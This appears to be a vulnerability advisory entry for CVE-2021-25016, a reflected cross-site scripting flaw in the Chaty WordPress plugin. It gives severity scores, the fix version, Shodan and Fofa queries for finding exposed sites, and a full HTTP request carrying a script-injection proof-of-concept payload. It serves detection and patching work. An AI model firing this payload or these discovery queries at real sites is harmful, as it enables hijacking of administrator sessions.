| Title | Chaty < 2.8.2 - Cross-Site Scripting |
|---|---|
| Author | luisfelipe146 |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS in the search parameter, potentially stealing administrator session cookies or accessing chat configuration data. |
| Remediation | Fixed in 2.8.3 |
| CVSS Score | 6.1 |
| EPSS Score | 0.15671 |
| CVE ID | CVE-2021-25016 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/chaty/ |
| Fofa Query | body=/wp-content/plugins/chaty/ |
| Tags | cve2021 cve wpscan wordpress wp-plugin xss authenticated chaty premio vuln |
The Chaty WordPress plugin before 2.8.3 and Chaty Pro WordPress plugin before 2.8.2 do not sanitise and escape the search parameter before outputting it back in the admin dashboard, leading to a Reflected Cross-Site Scripting.
GET /wp-admin/admin.php?page=chaty-contact-form-feed&search=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.7
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25016.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25016.pcap
N/AN/A